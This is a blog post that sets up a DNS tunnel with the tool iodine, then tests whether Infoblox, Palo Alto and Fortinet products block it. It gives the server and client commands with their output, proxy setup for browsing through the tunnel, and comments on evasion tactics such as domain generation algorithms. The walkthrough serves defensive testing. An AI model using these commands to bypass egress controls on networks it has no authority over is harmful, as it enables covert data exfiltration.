This post guides through a basic DNS tunneling setup with the usage of the appropriate tool “iodine“. It shows how DNS tunneling works and lists the commands needed to run this type of attack. That is, you can tunnel IPv4 packets through this DNS channel via the (internal) recursive DNS resolver! Nice approach. ;)
In the end, I’m pointing out how to block these tunnelling attempts with the DNS appliances from Infoblox, and the firewalls from Palo Alto Networks and Fortinet.
At first, let’s have a look at how DNS tunneling works in general:
For more information about iodine, the DNS tunneling tool of choice, have a look at their project homepage, or this more detailed blog post from David Hamann.
iodine Setup
For my tests, I used a delegated subdomain “io.weberlab.de”. That is: underneath my domain weberlab.de, I delegated (NS records) the subdomain “io” to the IP addresses of the server, which runs iodine:
|
1 2 3 |
io IN NS lx3 lx3 IN A 85.215.94.29 IN AAAA 2a01:238:4363:ee00:9169:a8a4:e572:d5f8 |
Server
- -f to run in foreground
- -c for checking disabled, to answer all incoming requests
- -P passphrase
- IP address of the internal tunnel interface <- that’s the fun part
- name of the delegated zone
|
1 2 3 4 5 6 |
weberjoh@h2877111:~$ sudo iodined -f -c -P passphrase 192.168.99.1 io.weberlab.de Opened dns0 Setting IP of dns0 to 192.168.99.1 Setting MTU of dns0 to 1130 Opened IPv4 UDP socket Listening to dns for domain io.weberlab.de |
This creates a tunnel interface called “dns0”:
|
1 2 3 4 5 6 |
weberjoh@h2877111:~$ ip a s [...] 4: dns0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1130 qdisc pfifo_fast state UNKNOWN group default qlen 500 link/none inet 192.168.99.1/27 scope global dns0 valid_lft forever preferred_lft forever |
The “vendor” of iodine offers a checking tool at https://code.kryo.se/iodine/check-it/:

Client
- -f for foreground
- -P passphrase
- -r to NOT use the raw mode which would end in a direct connection to the server rather than the usage of the recursive DNS resolver
- IP address of the recursive DNS server
- name of the delegated zone used for this tunneling (I simply used an open DNS resolver found here)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
weberjoh@vm32-test2:~$ sudo iodine -f -P passphrase -r 85.214.123.36 io2.weberlab.de Opened dns0 Opened IPv4 UDP socket Sending DNS queries for io2.weberlab.de to 85.214.123.36 Autodetecting DNS query type (use -T to override). Using DNS type NULL queries Version ok, both using protocol v 0x00000502. You are user #0 Setting IP of dns0 to 192.168.99.2 Setting MTU of dns0 to 1130 Server tunnel IP is 192.168.99.1 Skipping raw mode Using EDNS0 extension Switching upstream to codec Base64 Server switched upstream to codec Base64 No alternative downstream codec available, using default (Raw) Switching to lazy mode for low-latency Server switched to lazy mode Autoprobing max downstream fragment size... (skip with -m fragsize) 768 ok.. 1152 ok.. ...1344 not ok.. ...1248 not ok.. ...1200 not ok.. 1176 ok.. 1188 ok.. will use 1188-2=1186 Setting downstream fragment size to max 1186... Connection setup complete, transmitting data. |
|
1 2 3 4 5 6 7 8 9 10 11 |
weberjoh@vm32-test2:~$ ping 192.168.99.1 PING 192.168.99.1 (192.168.99.1) 56(84) bytes of data. 64 bytes from 192.168.99.1: icmp_seq=1 ttl=64 time=25.9 ms 64 bytes from 192.168.99.1: icmp_seq=2 ttl=64 time=20.0 ms 64 bytes from 192.168.99.1: icmp_seq=3 ttl=64 time=22.8 ms 64 bytes from 192.168.99.1: icmp_seq=4 ttl=64 time=19.5 ms ^C --- 192.168.99.1 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3005ms rtt min/avg/max/mdev = 19.513/22.054/25.927/2.552 ms weberjoh@vm32-test2:~$ lynx ip.webernetz.net |
To not only ping through this DNS tunnel, but to browse, I installed the proxy “squid” on the iodine server to surf through it. Now, I was able to use this proxy (behind the internal dns0 tunnel interface on the iodine server) to browse the Internet:
|
1 2 |
weberjoh@vm32-test2:~$ export http_proxy=http://192.168.99.1:3128 weberjoh@vm32-test2:~$ lynx ip.webernetz.net |
This screenshot shows the CLI-based web browser “lynx”, which I used to open https://ip.webernetz.net to show my public IP. The insight: I’m online with the IPv6 address of the iodines server rather than the (private) IPv4 address of the client itself:
Q.E.D. 😂
This Wireshark screenshot shows a capture taken on the server component of iodine during the establishment phase. You can see normal DNS queries and responses between the DNS resolver and the iodine server itself, while the queried names are mostly random:
Blocking DNS Tunneling Attempts
Always look on the blocking side of life. 🎶
Infoblox NIOS Recursive DNS
Using Infoblox NIOS as your recursive DNS server, tunneling events such as these are blocked after just a few packets. In my tests, the tunnel was detected and blocked just after four pings (right-hand side of the screenshot):
“DNS Tunneling detected: …” events are generated, and the relevant (sub-)domain is placed in the configured blocklist RPZ:
Palo Alto Networks NGFW
Using a next-gen firewall from Palo Alto Networks between the client and the Internet, the DNS tunneling attempts with “iodine” are blocked in various ways. In fact, it wasn’t easy at all to set up a DNS tunnel through the Palo Alto firewall. 😂 I had to disable several rules and profiles just to get it working for testing purposes. It was more due to the tool’s signature than to a generic detection of DNS tunneling.
- I had an allow rule with the application “dns”, but iodine was detected as “tcp-over-dns”, hence: blocked.
- Then I configured a port-based (service) allow rule for TCP/UDP port 53, but still with a security group with the anti-spyware strict profile: now connections were detected as “tcp-over-dns” (allowed), but recognised as a threat “Iodine DNS Tunnel Tool Command and Control Traffic Detection” -> blocked again. :) Nice.
- Finally, the port-based (service) allow rule without any security profile made it.
In both blocking scenarios, the DNS tunnel was already blocked during the setup period!
|
1 2 3 4 5 6 7 8 9 10 11 12 |
weberjoh@nb15-lx:~$ sudo iodine -f -P passphrase -r 85.214.123.36 io.weberlab.de Opened dns0 Opened IPv4 UDP socket Sending DNS queries for io.weberlab.de to 85.214.123.36 Autodetecting DNS query type (use -T to override). Using DNS type NULL queries Retrying version check... Retrying version check... Retrying version check... Retrying version check... Retrying version check... iodine: couldn't connect to server (maybe other -T options will work) |
Fortinet Firewall
On a FortiGate firewall, a rule allowing DNS without a security profile allowed the attack (unlike Palo Alto, which is application-based by default and blocks a “non-DNS” attempt directly).
A rule that still allows DNS, but with the Application Control to block “Proxy”, blocks iodine as well. In this blocking scenario, the DNS tunnel was already blocked during the setup period! Very good. The application was detected as “Iodine”.
|
1 2 3 4 5 6 7 8 |
weberjoh@vm32-test2:~$ sudo iodine -f -P passphrase -r 85.214.123.36 io2.weberlab.de Opened dns0 Opened IPv4 UDP socket Sending DNS queries for io2.weberlab.de to 85.214.123.36 Autodetecting DNS query type (use -T to override)..................... iodine: No suitable DNS query type found. Are you connected to a network? iodine: If you expect very long roundtrip delays, use -T explicitly. iodine: (Also, connecting to an "ancient" version of iodined won't work.) |
Soli Deo Gloria!
Photo by engin akyurt on Unsplash.











Great, thorough article, Johannes. It’s not surprising that enterprise grade egress control often catches and blocks these connections. What makes this type of tunneling possible to begin with is the wide range of RR (resource record) types, and in this case by your screenshots, using NULL resource record type.
Rather than relying on detection, I would give you my bias towards a true proactive approach. There’s not a single legitimate end-user application that uses RRtype null that I could find, as well as many other types. Even when it comes to RRtype TXT which has been using for DNS tunnelling, albeit a very slow one at that, it’s rarely used. TXT types are, of course, heavily used for non-user devices and I’m linking my “website” in my response to an article I wrote specifically for preventive measures like this that is quite practical and now becoming our standard.
Hello Johannes,
your article is great. It gives a good overview of how the individual tools work to prevent DNS tunneling.
However, real attacks use methods that make it very difficult to detect DNS tunnels. These include, for example:
· Permanent changing of server addresses with DGA (Domain Generation Algorithm)
· Using different resource records (A records, TXT records, etc.)
· Variable packet lengths
· Distributing packet transfer over days with different time intervals
In addition, there is another decisive factor that makes it very difficult for firewalls to detect such attacks. The firewall only sees the internal recursive DNS server as the sender and recipient of all DNS packets. This means that the firewall in your setup does not know whether certain packets come from one client or from different clients.
It makes a difference whether one client sends 1,000 DNS packets or whether 1,000 devices each send one DNS packet. However, the firewall cannot distinguish between the two.
Accordingly, only systems that work directly with the DNS server (such as those from Infoblox or EfficientIP) can offer reliable protection, as they know exactly who is making which requests.
Hey Stephan.
Yes, you’re fully right. The blog post was meant as an overview of how DNS tunneling works in general. To point out that data exfiltration can be done in creative ways, e.g. by repurposing DNS queries.
Regarding blocking: if you’re using a firewall for segmentation (rather than just on your perimeter), it actually sees every single DNS query from every single client. Doing it that way, PANW, for example, is quite good in detecting DNS tunneling events of any kind. That is: it depends on your network design whether or not to rely on a firewall and/or on your recursive resolver to achieve DNS security.
Cheers, Johannes